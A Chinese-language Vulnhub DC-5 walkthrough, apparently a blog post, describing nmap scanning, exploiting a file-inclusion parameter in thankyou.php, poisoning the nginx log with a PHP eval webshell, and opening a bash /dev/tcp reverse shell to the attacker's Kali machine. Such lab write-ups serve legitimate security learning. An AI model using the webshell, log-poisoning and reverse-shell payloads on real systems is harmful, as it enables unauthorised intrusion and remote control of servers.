信息搜集
扫描局域网存活主机
nmap -sP 192.168.19.128/24
发现存在主机192.168.19.132,接下来探测开放端口
nmap -p- 192.168.19.132
发现存在如下三个开放端口
80/tcp open http
111/tcp open rpcbind
50742/tcp open unknown
这里简单的了解一下什么是rpc和rpcbind.
rpc是一种使程序能够调用执行远程机器上的代码的技术.而rpcbind则是一个守护进程,类似一个电话簿一样,提供RPC程序号和网络地址之间的映射关系.
渗透
我们访问80端口,发现给出的页面中是五页英文,完全看不懂.
第五页给了一个输入接口.
用whatweb扫一下看看,除了服务器是nginx以外没有什么有用的信息.
提交表单到了如下界面
也就是说我们表单提交的内容是以get方式明文传输的.然后点一下刷新会发现如下变化
copyright2017变成了copyright2020.有些不明所以.
我们在用dirsearch扫描一下,发现了如下路径
其中的footer.php还没见过,尝试访问.
然后刷新会发现这个Copyright的年份会随之变化.因此我们猜测thankyou.php中的这个图标实际上值文件包含了footer.php
此时我们再做一个合理的推测,就是thankyou.php可以接受一个file参数来指定包含的文件.尝试发现成功
尝试打pearcmd文件包含,失败.
尝试读nginx的日志./var/log/nginx/access.log
,成功
firstname=lbz&lastname=lee&country=australia&subject=aaa&file=/tmp/shell.php&cmd=ls HTTP/1.1" 200 402 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36"
发现会把我们携带的参数,以及useragent等写入日志.
向日志中写马
<?php @eval($_REQUEST['cmd']); ?>
然后使用蚁剑进行连接http://192.168.19.132/thankyou.php?file=/var/log/nginx/error.log
.由于我们写马的时候会出现报错,因此需要访问error.log而不是access.log这里起初怎么也不好使,后来突然好使了,不明所以
用蚁剑链接,然后反弹shell到kali
nc -lvp 2333 #kali
bash -c 'bash -i >& /dev/tcp/192.168.19.128/2333 0>&1' #蚁剑
提权
经过测试,提权所用到的文件需要低版本的libc进行编译.有点懒得搞了,先放弃...
标签:rpcbind,log,DC,192.168,nginx,vulnhub,tcp,php From: https://www.cnblogs.com/merak-lbz/p/18320994